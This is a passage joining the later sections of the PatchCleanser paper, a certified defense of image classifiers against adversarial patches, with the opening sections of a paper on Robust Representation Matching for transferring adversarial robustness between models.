One 2% square patch 99.2 95.6 83.8 63.2 99.0 91.2

ers at most 1% pixels of the 224×224 image (502 pixels),
which includes thousands of shapes ranging from 1×224 to
22×22. To counter this strong attacker, we consider a shape
set S = {5×224,12×83,23×38,39×20,84×12,224×5};
we claim that 6 shapes in S together can cover any 1%-pixel
rectangle shape (more details in Appendix B). We then gen-
erate masks for 6 different rectangles and use these masks
in the double-masking algorithm. We report the defense per-
formance in the upper half of Table 4, which shows that our
defense has high clean performance and certified robust ac-
curacy. We note that the reported certified robust accuracy
accounts for a much stronger attacker that can use any rect-
angle shape covering at most 1% pixels, explaining a drop in
certified robustness from the baseline. Nevertheless, our de-
fense performance (while considering a stronger adversary) is
still much better than those of prior works against a 1%-pixel
square patch (recall Table 2).

Multiple patches. To handle multiple (K) patches, we can
generate a mask set that includes all possible K-mask combi-
nations; the certification needs to check 2K-mask correctness
(more details in Appendix B). In the lower part of Table 4,
we report defense performance against two 1%-pixel patches.
Our defense achieves good defense performance against two
patches (e.g., 98.8% clean accuracy and 89.2% certified ro-
bust accuracy for two 1% square patches anywhere on the
ImageNette images). Moreover, we compare the defense per-
formance against a 2%-pixel square patch (which has the
same number of adversarial pixels). We can see that our de-
fense performance for two patches is reduced compared to
that for one-patch; however, the numbers are still much higher
than prior works against a 2%-pixel square patch in Table 2.

5.2 PatchCleanser and Minority Reports
In this paper, we propose PatchCleanser for certifiably ro-
bust prediction without abstention. In contrast, another pixel-
masking defense, Minority Reports (MR) [30], only achieves
a weaker robustness notion for attack detection: an attacker
can force MR to always abstain from prediction. Though the
certified robust accuracy for these two defenses with different
robustness notions are not directly comparable, we implement
MR and PatchCleanser (using the same number of masks) and
report their defense performance against a 2%-pixel patch on
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Figure 9: Defense performance of PC-ViT and MR-ViT on
ImageNet; note that robustness notions are different (robust
prediction for PatchCleanser vs. attack detection for MR).

ImageNet in Figure 9.
First, we observe that MR can balance the trade-off between

clean accuracy and certified robust accuracy. Second, MR
achieves the highest certified robust accuracy (76.9%) due to
the easier certification for a weaker robustness notion. Third,
PatchCleanser achieves a similar value of certified robust
accuracy (∼62%) to MR when their clean accuracy is around
84%. This is remarkable given that PatchCleanser eliminates
the issue of abstentions/alerts.

5.3 Limitation and Future Work
Improving defense efficiency. Compared to some prior
works [33,55,61], PatchCleanser achieves better performance
at the cost of efficiency (recall Figure 5). In Section 4.3 (Fig-
ure 4), we also see a trade-off between defense performance
and efficiency. How to improve the efficiency of the under-
lying model (e.g., EfficientNet [46]) and the algorithm (e.g.,
our alternative inference algorithm in Appendix C) is inter-
esting to study. We note that PatchCleanser’s runtime can be
improved by evaluating masked predictions in parallel with
multiple GPUs.

Relaxing the prior estimation of the patch shape and
patch size. PatchCleanser requires a conservative estimation
of the patch shape/size as the security parameters to generate
the mask set. This dependence on the prior knowledge is sim-
ilar to that of verifiably robust network training [16, 34] and
empirical adversarial training [15,29] against global pertur-
bations [6, 15, 45], which need to know the norm and mag-
nitude of the perturbations. This limitation is also shared by
masking-based defenses [30,55,58]; an underestimated patch
size/shape will undermine the robustness. How to relax the
dependence on this prior knowledge is important to study. In
Section 5.1, we demonstrate how to mitigate the dependence
on prior knowledge of patch shape by considering all possible
patch shapes and using a union of different mask shapes.

Handling potential semantic changes caused by masks.
PatchCleanser uses masks to achieve substantial robustness
against adversarial patches, and we have demonstrated its ef-
fectiveness on common image datasets. However, the masking
operation might lead to semantic changes for special classi-
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fication tasks (e.g., a classifier trained to recognize masks).
In these special cases, we could use colored masks for Patch-
Cleanser and further train the classifier to distinguish between
vanilla masks and PatchCleanser masks. We leave further
explorations for future work.

6 Related Work

6.1 Adversarial Patch Attacks
The adversarial patch attack was first introduced by Brown et
al. [4]; this attack focused on generating universal adversarial
patches to induce model misclassification. Brown et al. [4]
demonstrated that the patch attacker can realize a physical-
world attack by printing and attaching the patch to the victim
objects. A concurrent paper on the Localized and Visible
Adversarial Noise (LaVAN) attack [21] aimed at inducing
misclassification in the digital domain. Both of these papers
operated in the white-box threat model, with access to the
internals of the classifier under attack. PatchAttack [60], on
the other hand, proposed a reinforcement learning based attack
for generating adversarial patches in the black-box setting.

There have been adversarial patch attacks proposed in other
domains such as object detection [28], semantic segmenta-
tion [43], and network traffic analysis [44]. In this paper, we
focus on test-time attacks against image classification models.

6.2 Adversarial Patch Defenses
To counter the threat of adversarial patches, heuristic-based
empirical defenses, Digital Watermark (DW) [18] and Local
Gradient Smoothing (LGS) [36], were first proposed. How-
ever, Chiang et al. [7] had shown that these defenses were
ineffective against an adaptive attacker with the knowledge
of the defense algorithm and model parameters [7].

The ineffectiveness of empirical defenses has inspired
many certifiably robust defenses. Chiang et al. [7] proposed
the first certifiably robust defense against adversarial patches
via Interval Bound Propagation (IBP) [16, 34], which conser-
vatively bounded the activation values of neurons to derive a
robustness certificate. This defense requires expensive train-
ing and does not scale to large models and high-resolution
images. Zhang et al. [61] proposed Clipped BagNet (CBN)
to clip features of BagNet (a classification model with small
receptive fields) for certified robustness. Levine et al. [25]
proposed De-randomized Smoothing, which fed small im-
age regions to a classification model and performed majority
voting for the final prediction. Xiang et al. [55] proposed
PatchGuard as a general defense framework with two key
ideas: the use of small receptive fields and secure feature ag-
gregation. Metzen et al. [33] proposed BagCert, a variant of
BagNet with majority voting, for certified robustness.

A key takeaway from our paper is that the dependence
of prior works on specific model architectures (e.g., small

receptive fields [25, 27, 33, 55, 61]) greatly limits the defense
performance; in contrast, the compatibility of PatchCleanser
with any model architecture leads to state-of-the-art clean
accuracy and certified robust accuracy.

Another line of certifiably robust research focuses on attack
detection. Minority Reports (MR) [30] places a mask at all
image locations and uses the inconsistency in masked predic-
tion voting grids as an attack indicator. PatchGuard++ [58]
performed a similar defense in the feature space. We note that
the first-round masking of PatchCleanser is is similar to the
masking operation of MR; we provided detailed comparison
in Section 5.2. A concurrent work ScaleCert [17] uses super-
ficial important neurons to detect a patch attack; we omit its
detailed discussion due to different defense objectives.

Some other recent defenses focus on adversarial training
and robust model architecture [10, 35, 40, 54], but they lack
certifiable robustness guarantee. In other domains like object
detection, empirical defenses [20,26,41] and certifiably robust
defenses [57] have also been proposed. We omit a detailed
discussion since PatchCleanser focuses on certifiably robust
image classification.

6.3 Other Adversarial Example Attacks

In addition to adversarial patch attacks and defenses, there is
a significant body of work on adversarial examples. Conven-
tional adversarial attacks [2,3,6,15,29,37,45] aim to introduce
a small global Lp perturbation to the image for model misclas-
sification. Empirical defenses [31, 32, 38, 59] were first pro-
posed to mitigate the threat of adversarial examples, but were
later found vulnerable to a strong adaptive attacker with the
knowledge of the defense setup [1,5,49]. The fragility of these
heuristic-based defenses inspired a new research thread on
developing certifiably robust defenses [9,16,24,34,39,42,53].
In contrast, we focus on adversarial patch attacks, whose per-
turbations are localized and thus are realizable in the physical
world.

7 Conclusion

In this paper, we propose PatchCleanser for certifiably robust
image classification against adversarial patch attacks. Notably,
PatchCleanser is compatible with any state-of-the-art classi-
fication model (including ones with large receptive fields).
PatchCleanser uses a double-masking algorithm to remove
all adversarial pixels and recover the correct prediction with-
out any abstention. Our evaluation shows that PatchCleanser
outperforms all prior works by a large margin: it is the first
certifiably robust defense that achieves clean accuracy compa-
rable to state-of-the-art vanilla models while simultaneously
achieving high certified robust accuracy. PatchCleanser thus
represents a promising new direction in our quest for secure
computer vision systems.
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PC-ResNet-cutout 99.6 94.4 81.6 53.4 97.8 78.8
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A Details of Experiment Setup

For all high-resolution images (i.e., ImageNet [11], Ima-
geNette [14]), we resize and crop them into 224×224. For
low-resolution images (i.e., CIFAR-10 [23]), we resize them
to 224×224 (via bicubic interpolation) without cropping. We
use timm library [51] to build all vanilla models and load
weights trained for ImageNet [11]. In our default setting, we
use Cutout data augmentation [12] for the model training.
Specifically, we apply 2 masks of size 128×128 at random
locations to the 224×224 training images; this training-time
data augmentation can improve model prediction invariance
to pixel masking. We note that the Cutout training is only
an optional step in PatchCleanser pipeline.We further report
the defense performance with and without Cutout training in
Table 5.

We provide additional details of experiment setup in our
technical report [56]. We release our source code at https:
//github.com/inspire-group/PatchCleanser.

B Additional Details for Defenses against Dif-
ferent Patch Shapes and Multiple Patches

In Section 5.1, we quantitatively discussed PatchCleanser
against a stronger attacker who use a set of different patch
shapes or use multiple patches. In this section, we provide
additional details of our implementation and evaluation.
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Different patch shapes. To generate a mask set that is
robust to a patch that use any rectangle shape that covers at
most 1% pixels of the 224×224 image (502 pixels), we first
consider a rectangle shape set S = {5× 224,12× 83,23×
38,39×20,84×12,224×5}. We claim that these 6 shapes in
S together can cover any 1%-pixel rectangle shape.6 To prove
this covering property, we let a and b be the height and width
of the rectangle patch, respectively. We know that a ·b < 502
(1% image pixels). If a≤ 5, then the patch is covered by the
5×224 rectangle. If 5 < a ≤ 12, then b < 502/6 < 84, and
the patch is covered by the 12×83 rectangle. If 12 < a≤ 23,
then b< 502/13< 39, and the patch is covered by the 23×38
rectangle. If 23 < a ≤ 39, then b < 502/24 < 21, and the
patch is covered by the 39×20 rectangle. If 39< a≤ 84, then
b < 502/40 < 13, and the patch is covered by the 84× 12
rectangle. Finally, if 84 < a ≤ 224, then b < 502/85 < 6,
and the patch is covered by 224×5 rectangle. Now we have
considered all 1%-pixel rectangles and proved the covering
property. Next, we can generate a mask set M ′ for every shape
in S (as discussed in Section 3.4) and take the union of all
M ′ as the R -covering mask set M .

We implement our strategy and report the defense perfor-
mance for 500 randomly selected test images in Table 4. We
additionally note that, in some cases, we can see a higher
clean accuracy for PatchCleanser against all rectangle shapes,
compared to PatchCleanser against the square patch. This is
because we are using a larger number of masks, and Patch-
Cleanser could become less likely to output an incorrect dis-
agreer label in the clean setting.

Multiple patches. As discussed in Section 5.1, to defend
against an attacker who can use K patches, We can generate
a mask set with all possible K-mask combinations, at least
one of which can remove all patches. We then apply our
double-mask algorithm with this mask set for robust image
classification. In order to certify the robustness of a given
image, we need to check if the image predictions are correct
for all 2K-mask combinations.

In Table 4, we provide a proof of concept for our multiple-
patch defense. We select 500 random test images from each
dataset and report defense performance against two 1%-pixel
patches.

C Challenger Masking: Improving Inference
Complexity

Our double-masking defense (Algorithm 1 in Section 3.2) has
inference complexity of O(|M |2) in the worst case (doing all
two-mask predictions). In this subsection, we introduce a new
inference algorithm named challenger masking, which has
better worst-case complexity of O(|M |), the same certified
robust accuracy, but slightly lower clean accuracy. Similar to

6There are other valid shape sets S . Here, we only provide one example
as proof of concept.
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Figure 10: Comparison of clean accuracy and per-example
inference time between two inference algorithms

our double-masking algorithm (Algorithm 1 in Section 3.2),
the challenger masking involves two rounds of masking: if
the first-round masking reaches a unanimous agreement on
masked predictions, we return the agreed prediction label;
otherwise, we play a challenger game (in the second-round
masking) to settle the disagreement.

Challenger game. The high-level idea of the challenger
game is to let different masked predictions challenge each
other and output the game-winner as the final prediction. For
two masks m0,m1 that give different masked predictions (i.e.,
ȳ0 6= ȳ1, ȳ0 = F(x�m0), ȳ1 = F(x�m1)), we apply both two
masks to the image and evaluate the two-mask prediction
as ŷ = F(x�m0�m1). If the two-mask prediction ŷ agrees
with any of the one-mask prediction ȳ0 or ȳ1, we consider the
agreed prediction as the winner of this challenger game. Our
algorithm will discard a mask once it loses any challenger
game and continue to play the game until there is only one
label left (i.e., no challenger exists). Finally, we output the
winner label as the robust prediction. Intuitively, if the first-
round mask removes the patch, then adding a second mask
is unlikely to give a different prediction (since the second
mask is applied to a benign image). Therefore, the mask that
removes the patch has a great chance to win this challenger
game. We provide additional details of algorithm pseudocode
in our technical report [56].

Robustness certification. The robustness certification con-
dition for this challenger game is the same as our double-
masking defense: two-mask correctness. This is because if
a model has two-mask correctness, the first-round mask that
removes the patch will never lose the challenger game.

Remark: defense complexity. The first-round masking
needs O(|M |) masking operations evaluation. In the chal-
lenger game, every first-round mask will be used as a chal-
lenger for at most one time. Therefore, the complexity for the
challenger game is also O(|M |). In summary, the algorithm
has a complexity of O(|M |), in contrast to O(|M |2) of our
double-masking algorithm (Algorithm 1).

Performance evaluation. We note that challenger mask-
ing and double-masking (Algorithm 1) have the same cer-
tified robust accuracy (certified via two-mask correctness),
but different clean accuracy and inference efficiency. In Fig-
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Figure 11: Certified robust accuracy for images with different
salient object sizes (PC-ViT on ImageNet)

ure 10, we plot the per-example runtime (on clean images)
and clean accuracy of two algorithms on the ImageNet dataset.
As shown in the figure, the challenger masking algorithm has
better defense efficiency but lower clean accuracy. We note
that the double-masking algorithm has higher clean accuracy
because it is more conservative in trusting a one-mask dis-
agreer: double-masking requires all two-mask predictions in
the second-round masking to give the same prediction label
while challenger masking does not require this. As a result,
the double-masking algorithm is less likely to return an incor-
rect disagreer prediction for clean images whose robustness
cannot be certified. We prioritize the defense accuracy and
choose the double-masking algorithm in the main body of the
paper.

D PatchCleanser Robustness for Images with
Different Object Sizes and Object Classes

In this subsection, we study how the certified robustness of
PC-ViT is affected by object sizes and object classes on the
ImageNet [11] dataset.

Object size. We take the annotations of object bounding
boxes from the ImageNet [11] dataset to study how the object
size affects the certified robustness. For each image, we count
the number of pixels of the union of all bounding boxes as our
measure of the salient object size. We plot the certified robust
accuracy (against a 2%-pixel patch) of images with different
salient object sizes (in the percentage of image pixels) in Fig-
ure 11. As shown in the figure, we can see that PatchCleanser
generally has higher certified robust accuracy for larger ob-
jects. This is an expected result since small objects might be
completely occluded by the adversarial patch (see Figure 12
for visual examples).

Object class. In Figure 13, we plot the distribution of cer-
tified robust accuracy for different image object classes. We
can see that most classes have high certified robustness, but
the certified robust accuracy can vary greatly across different
object classes. For example, we can achieve 100% certified
robust accuracy for some classes (e.g., classes “n02116738:

Figure 12: Visualization of 32×32 occlusion on 224×224
ImageNet images with small objects
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Figure 13: Certified robust accuracy and average object size
across different classes (PC-ViT on ImageNet; the class in-
dices are sorted based on the certified robust accuracy)

African hunting dog", “n02342885: hamster", “n11879895:
rapeseed", and “n12057211: yellow lady’s slipper") while we
only have 4% certified robust accuracy for some classes (e.g.,
classes “n02107908: Appenzeller" and “n04152593: screen").
Moreover, we plot the average object size (in the percentage
of the image pixels) for each class. The result further demon-
strates that the certified robust accuracy is affected by not only
the object size (Figure 11), but also the object class. Further
diagnosis on the classes with poor performance is one of our
future work directions.

E Proof of Lemma 4

Lemma 4. The mask set Mm,s,n is R -covering for a patch that
is no larger than p∗ = m− s+1.

Proof. Without loss of generality, we consider the first two
adjacent masks in the 1-D scenario, whose mask pixel index
ranges are [0,m−1] and [s,s+m−1], respectively. Now let
us consider an adversarial patch of size p∗. In order to avoid
being completely masked by the first mask, the smallest index
of the patch has to be no smaller than j∗ = (m−1)− (p∗−
1)+1 = s. However, we find that the second mask starts from
the index s, so the patch that evades the first mask will be
captured by the second mask.
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Abstract
With the widespread use of machine learning, concerns over
its security and reliability have become prevalent. As such,
many have developed defenses to harden neural networks
against adversarial examples, imperceptibly perturbed inputs
that are reliably misclassified. Adversarial training in which
adversarial examples are generated and used during training
is one of the few known defenses able to reliably withstand
such attacks against neural networks. However, adversarial
training imposes a significant training overhead and scales
poorly with model complexity and input dimension. In this
paper, we propose Robust Representation Matching (RRM), a
low-cost method to transfer the robustness of an adversarially
trained model to a new model being trained for the same task
irrespective of architectural differences. Inspired by student-
teacher learning, our method introduces a novel training loss
that encourages the student to learn the teacher’s robust repre-
sentations. Compared to prior works, RRM is superior with
respect to both model performance and adversarial training
time. On CIFAR-10, RRM trains a robust model∼ 1.8× faster
than the state-of-the-art. Furthermore, RRM remains effec-
tive on higher-dimensional datasets. On Restricted-ImageNet,
RRM trains a ResNet50 model ∼ 18× faster than standard
adversarial training.

1 Introduction

Despite state-of-the-art performance in numerous domains,
deep neural networks (DNNs) remain vulnerable to adversar-
ial examples, inputs that are imperceptibly modified such that
they are misclassified by DNNs [23]. In response to the dis-
covery of adversarial examples, several techniques have been
proposed to improve the robustness of DNNs against such
inputs [15, 19, 27]. Adversarial training is one such technique
that augments the training data with adversarial examples.
During training, adversarial examples are generated on the
fly and used to tune the network weights. Although adver-
sarial training is simple to implement and secure against a

wide array of attacks [1, 15], it slows down the training pro-
cess significantly and scales poorly with respect to model
complexity and input dimension. In our experiments, for ex-
ample, adversarial training is on average ∼ 7× slower than
natural training. The expensive computational cost of adver-
sarial training is only exacerbated by improvements to model
architecture or new data. When new state-of-the-art model
architectures are developed, adversarial training must be re-
done in order to obtain adversarially robust models. These
events make adversarial training impractical to use in real
world settings, where models are frequently tweaked to im-
prove performance. Therefore, it is desirable to be able to
transfer adversarial robustness between models of different
architectures to reduce the cost associated with adversarial
training.

Ilyas et al. [14] demonstrated that adversarial examples
are the result of a model’s reliance on non-robust features,
i.e., highly predictive features that are incomprehensible to
humans, whose correlation with the predicted label can be
easily flipped with a small amount of noise. They argue that
adversarial training works by forcing the model to assign
higher priority to the robust features for classification. Thus,
if the non-robust information can be removed from the dataset,
adversarially robust models should be obtainable through stan-
dard training. To this end, they design a robust dataset gen-
eration process, which first adversarially trains a model and
then uses the learned features in the model to transform the
original dataset. Their results demonstrated that new models
naturally trained on the robust dataset were more adversari-
ally robust than the models naturally trained on the original
dataset.

While the work by Ilyas et al. [14] is a step towards trans-
ferable adversarial robustness, it suffers from two significant
limitations. First, compared to an adversarially trained model,
the adversarial robustness of a model trained on the robust
dataset is poor. When evaluated against `2-bounded adversary
with ε = 0.5, the adversarial constraint, a ResNet50 model
trained on the robust dataset achieves 21.8% adversarial accu-
racy. This is a significant improvement over the same model
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trained on original dataset, which exhibits 0% adversarial ac-
curacy. However, the performance falls significantly when
evaluated against ε = 1.0, the value used for adversarial train-
ing. In this case, the ResNet50 model trained on robust data
achieves only 2.3% adversarial accuracy. Second, generating
a robust dataset from an existing adversarially trained model
is slow. In our experiments, it took approximately 6 hours
with a Titan V GPU to generate a robust CIFAR-10 dataset
using an adversarially trained ResNet18 model and the default
hyperparameters provided by Ilyas et al. [14].

In this paper, we propose Robust Representation Matching
(RRM), a novel, low-cost method to transfer adversarial ro-
bustness using a student-teacher framework. Similar to prior
works, RRM first adversarially trains a model. Then, using
the adversarially trained model as a teacher, RRM trains a
new student model by modifying the training loss to include
a novel robust representation loss term. This new term en-
courages the student model to learn the teacher’s robust fea-
tures. In essence, RRM transfers the teacher’s robust features
directly to the student as part of standard training rather than
expecting the student to learn robust features from the data.
RRM can transfer robustness even between models of differ-
ent architectures. Our proposed method outperforms other
adversarial robustness transfer methods including the method
demonstrated by Goldblum et al. [10], which employs a more
traditional distillation approach [12] to transfer adversarial
robustness from an adversarially trained teacher to a student
using standard training.

Using RRM’s student-teacher paradigm significantly
speeds up the process of training adversarially robust models.
To demonstrate this, we compare it against other approaches
that speed up adversarial training [22, 28] using CIFAR-10.
Given a pre-trained teacher, RRM is able to achieve perfor-
mance comparable to adversarial training [15] in the least
amount of training time. Additionally, we demonstrate that
RRM can benefit from techniques that speed up adversarial
training such as Fast Adversarial Training [28]. When com-
bined with Fast Adversarial training, we show RRM achieves
higher performance (∼ 2.5% higher standard accuracy and
∼ 3.5% higher adversarial accuracy) while requiring signif-
icantly lower total training time (converges ∼ 1.8× faster)
compared to Free Adversarial Training [22]. Furthermore, we
show that RRM is able to scale to higher dimensional datasets
using the Restricted-ImageNet dataset. In the presence of an
adversarially trained AlexNet model, we are able to train a
ResNet50 model ∼ 18× faster than adversarial training while
achieving competitive performance on both natural and ad-
versarial images.
Our contributions.

• We introduce Robust Representation Matching (RRM),
a technique that allows for transfer of adversarial robust-
ness between two models of varying architecture.

• We evaluate RRM on the CIFAR-10 and Restricted-

ImageNet datasets. On CIFAR-10, RRM is able to
achieve performance comparable to adversarial train-
ing in least amount of training time compared to prior
works.

• We show that RRM can scale to higher dimensional
datasets such as Restricted-ImageNet. Compared to ad-
versarial training, RRM trains a robust model ∼ 18×
faster with a modest reduction in performance (∼ 6% on
natural images and ∼ 12% on adversarial images).

2 Background

In this section, we formally define the problem of adversarial
robustness and briefly discuss the concepts foundational to
our solution’s design.

2.1 Preliminaries
In this paper, we focus on the DNN-based image classification
models. The process for training a C-class image classifier F
parameterized by θ, i.e., Fθ :Rd →{1 · · ·C}, involves updat-
ing θ so as to minimize the empirical risk over image x ∈Rd

and label y ∈ {1, · · · ,C} pairs sampled from an underlying
data distribution D. This process, referred to as Empirical
Risk Minimization (ERM), can be formalized as follows:

min
θ
E(x,y)∼D [L(Fθ(x),y)] (1)

Here L is a loss function suitable for the task at hand. For
image classification, the cross-entropy loss function is typi-
cally used for this purpose. In adversarial machine learning
literature, training using the ERM objective is popularly re-
ferred to as natural or standard training.

2.2 Adversarial Evasion Attacks
Recent literature has exposed several previously unknown vul-
nerabilities associated with DNN-based image classifiers [4].
One such class of vulnerabilities, called adversarial evasion
attacks, tries to compute imperceptible perturbations to the
input such that the perturbed input is misclassified by a classi-
fier [11, 23]. Since their discovery, several attacks have been
proposed. The most powerful class of attacks uses the first-
order gradients of the classifier to compute the necessary
perturbations to cause misclassification. The optimization
objective for adversarially perturbing a given image x, i.e.,
adversary’s objective, can be formalized as follows:

max
δ: d(x+δ,x)≤ε

L(Fθ(x+δ),y) (2)

Here, δ represents the adversarial perturbation. A distance
function d and a scalar ε are used to define the set of all
permissible adversarial perturbations (or adversary’s budget).
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With respect to images, this is also referred to as the imper-
ceptibility condition and it used to ensure that the adversary
perturbs the image imperceptibly in order to launch a stealthy
attack. The imperceptibility condition for images is often
defined using `p-norm: ||δ||p ≤ ε. Note that most gradient-
based attacks assume white-box access to the classifier, i.e.,
the same access as the entity that trained the classifier. Some
notable gradient-based attacks are JSMA [18], PGD [15], and
CW [3].

2.3 Defending against Evasion Attacks

To mitigate the security risks associated with evasion at-
tacks, several defenses have been proposed in recent litera-
ture [6,15,19,27,29]. Papernot et al. [19] used knowledge dis-
tillation [12] to train image classifiers that are robust against
evasion attacks in a process they called defensive distillation.
It was later shown that defensive distillation was effective
only because the proposed method caused the gradients to
vanish, making it difficult for the adversary to find a solution
for Equation 2. Through proper scaling of the classifier’s out-
puts, Carlini and Wagner [2] were able to resolve the issue of
vanishing gradients caused by defensive distillation, allowing
existing attacks to converge to a solution successfully.

Several subsequent defenses faced similar issues as defen-
sive distillation as all of these works relied on some form
of gradient obfuscation. Gradient obfuscation prevents an
attacker from using the gradient in order to find a solution for
Equation 2. However, this approach only serves to protect a
model against naive attackers. Adaptive attackers aware of
gradient obfuscation can use alternative methods to approxi-
mate the gradients and circumvent the defense. In their paper,
Athalye et al. [1] proposed a general optimization strategy for
breaking gradient obfuscation defenses and demonstrated its
effectiveness on several published defenses.

One popular defense that has stood the test of time is ad-
versarial training, first proposed by Madry et al. [15], which
modifies the training process to create adversarially robust
models. Recently, similar training modification defense strate-
gies have been proposed, but with a focus on establishing
mathematically provable guarantees [6,27,29] of performance
in adversarial environments.

2.3.1 Adversarial Training

The traditional ERM objective (see Equation 1) only opti-
mizes for performance in the standard scenario where the
data distribution during testing closely resembles the training
distribution D. Therefore, an image classifier trained using
ERM can not be expected to perform well on adversarial
inputs as these inputs deviate significantly from the distribu-
tion D. Madry et al. [15] recognize this drawback of ERM
and propose modifications to it that enables training of adver-
sarially robust image classifiers. Instead of minimizing the

risk over examples drawn from D, they minimize the risk
over the adversarially perturbed version of these examples.
In essence, they augment the training data with adversarial
examples. This process is called adversarial training, and it
can be formalized using the following min-max objective:

min
θ

ρ(θ), where ρ(θ) = E(x,y)∼D

[
max

δ: d(x+δ,x)≤ε

L(Fθ(x+δ),y)
]

(3)

Note that the inner maximization is the adversary’s objec-
tive from Equation 2 and the outer minimization aims to make
it harder for the adversary to achieve its objective. This can
be viewed as the formalization of the defender’s objective.
In their work, Madry et al. used the Projected Gradient De-
scent (PGD) attack, an iterative form of the FGSM attack [11],
to find an approximate solution for the inner maximization
objective. Their results showed that adversarial training cre-
ates MNIST and CIFAR-10 classifiers with high adversarial
robustness compared to standard training.

One major drawback of adversarial training is that it has
a high computational cost. Standard training involves one
forward and one backward pass through the classifier at every
training iteration. Adversarial training requires several for-
ward and backward passes per training iteration. For example,
the model trained by Madry et al. [15] on CIFAR-10 requires
8 forward and backward passes in total (7 for the inner maxi-
mization and 1 for the outer minimization). This slows down
the training process significantly. Shafahi et al. [22] report
that adversarially training a model on CIFAR-10 (similar to
Madry et al.) is 7× slower than standard training.

2.4 Transferring Adversarial Robustness
Ilyas et al. [14] discuss that adversarial examples are the result
of non-robust features that are born out of statistical patterns
in the underlying data distribution. These features, although
weakly correlated with the correct output, result in high pre-
dictive performance on non-adversarial images. Therefore,
they can act as potential attack vectors for adversarial evasion
attacks as this weak correlation can be easily manipulated
using small amounts of perturbations in the image. Robust
features, however, have a strong correlation with the correct
output and therefore are harder to manipulate under the given
adversarial budget. Therefore, if one can encourage a model
to learn robust features instead of non-robust ones, mean-
ingful adversarial robustness can be achieved using standard
training. To achieve this, Ilyas et al. propose a method for
removing non-robust features from images in a dataset. They
begin with the assumption that models trained using adver-
sarial training [15] learn robust features. They then propose
generating a robustified version xr of any given image x using
the following optimization:

min
xr

||g(xr)−g(x)||2 (4)
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where g(·) returns the penultimate layer outputs of an ad-
versarially trained model. This optimization is solved using
gradient descent with xr initialized using an image randomly
sampled from the training data, independently of label of x.
This ensures that xr has minimum amount of non-robust fea-
tures correlated with the label of x in expectation. Training
a classifier using this robustified training data results in the
model exhibiting significantly higher adversarial robustness,
with a small loss in standard accuracy, as compared to a clas-
sifier trained on the original training data.

The work of Ilyas et al. [14] is pivotal as it shows that
non-trivial adversarial robustness can be achieved using the
standard training framework. What they do, in essence, is
transfer an adversarially trained model’s knowledge of robust
features to another dataset. However, their robustification pro-
cess still produces images with some amount of non-robust
features as evidenced by empirical results. Models trained on
the robustified data only exhibit meaningful adversarial ro-
bustness for small values of ε. When evaluated against higher
values of ε, the model’s performance on adversarial examples
becomes worse than random chance. This phenomenon is
further discussed in Section 6.3.

3 Why Transfer Adversarial Robustness?

The rise of deep learning has been accompanied by its
widespread adoption in commercial systems. Autonomous
driving systems, news aggregators, virtual assistants, voice
recognition, and fraud detection systems are just some of the
systems we rely on every day that use deep learning mod-
els to accomplish their tasks. Even in their current imperfect
state [16], deep learning models are experiencing rapid im-
provements, and much of their potential is believed to be
unrealized [24]. Like other innovations in computer systems,
the increased adoption of deep learning puts a spotlight on
their reliability and robustness against adversaries whose goal
is to cause the system to misbehave. Early examples of these
concerns have manifested as physically realizable adversarial
attacks on deep learning models [9]. For safety-critical com-
mercial systems using deep learning models (e.g., self-driving
cars), robustness against such attacks is highly desirable. We
argue that to be usable in real world systems, the process
of robustification of deep learning models should have the
following characteristics:

• Low standard accuracy reduction. Tsipras et al. [26]
established that there is a trade-off between a model’s
performance on adversarial and non-adversarial (i.e., nat-
ural) inputs. In real world scenarios, adversarial attacks
are expected to be rare anomalous occurrences, much
like the instances of fraud in credit card transactions.
Therefore, commercial systems with strict requirements
for standard accuracy (i.e., accuracy on natural inputs)
will be hesitant to adopt solutions that significantly im-
pact their functionality in the absence of an adversary.

Taking this into consideration, a robustification process
should minimally reduce standard accuracy while con-
ferring non-trivial adversarial accuracy.

• Low amortized training cost. In production, the life-
cycle of a deep learning model involves regular re-
training and fine-tuning because of the availability of
new data and improvements in the models. For example,
Figure 1 presents the rate at which the state-of-the-art
accuracy on ImageNet dataset has improved in the last
decade. The 40% gain in the accuracy during this period
results from hundreds, if not thousands, of iterative im-
provements and modifications and our increased capacity
to train deeper models. Adoption to a rapidly evolving
environment mandates any robustification technique to
impose minimal average overhead in terms of training
cost and scale well with the complexity of the newer
generation of models.

As one of the most recognized defense approaches, ad-
versarial training, in its current formulation, is poorly suited
for real world use. While the models trained using adver-
sarial training show significant adversarial robustness 1, the
training overhead remains an issue. Due to the need to gener-
ate adversarial examples on the fly during training, multiple
forward and backward passes are made, making adversarial
training computationally expensive. Furthermore, the training
overhead only gets worse as the model and data increase in
complexity and dimensionality. In our experiments, adversar-
ially training a classifier (using 7-step PGD attack) was on
average 7× slower than standard training. Any modifications
in the model requires a complete repeat of this expensive
process as reuse of the existing adversarially trained model is
not possible.

RRM seeks to improve the usability of adversarial training
by allowing adversarial robustness to transfer across mod-
els, thereby eliminating the cost of repeated adversarial train-
ing. Through enabling transferable adversarial robustness, our
proposed method allows for the reuse of older adversarially
trained models to train new adversarially trained models using
a modified ERM objective. Furthermore, we can exploit our
approach to speed up standard adversarial training at the cost
of a small amount of adversarial accuracy by first adversari-
ally training a smaller, faster model and then transferring the
robustness to a larger, slower model.

4 Robust Representation Matching

Our objective is to make the process of training adversari-
ally robust models computationally efficient. To this end, we
propose Robust Representation Matching (RRM), a student-
teacher framework to transfer adversarial robustness between
models. RRM allows us to train adversarially robust models

1The robustness of adversarial training is empirically validated against
first-order adversaries.
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Figure 1: State-of-the-art performance on ImageNet, a popular visual recognition benchmark, over the last decade [20].

at a computational cost comparable to standard training. Em-
pirically, we show that our method helps models attain high
standard and adversarial accuracy in the smallest training time
as compared to prior works [10, 22].

Our design begins with the same assumption as
Ilyas et al. [14], i.e., advesarially trained models learn robust
features. Thus, given an adversarially trained teacher model
Tφ, we train a student model Sθ to match the teacher’s penulti-
mate layer representations on natural (i.e., non-adversarial)
images. This is done using the following training objective:

min
θ
E(x,y)∼D [λ ·LCE(Sθ(x),y)+LR(gS(x),gT (x))] (5)

The functions gS(·) and gT (·) return the penultimate layer
representations of classifiers Sθ and Tφ respectively. Our loss
function includes two terms: (1) the cross-entropy loss LCE ;
and (2) the robust representation loss LR, which computes
the distance between the penultimate layer representations
of Sθ and Tφ. Updating θ to minimize LR, while keeping φ

frozen, forces Sθ to learn penultimate layer representations
that resemble those of adversarially robust Tφ. Matching the
penultimate layer representations in this way allows us to
transfer adversarial robustness from Tφ to Sθ. Algorithm 1
provides the pseudo-code of the RRM training method.

The coefficient λ is used to appropriately weigh the con-
tribution of LCE towards the total loss. The higher the value
of λ, the more Sθ biases towards maximizing standard accu-
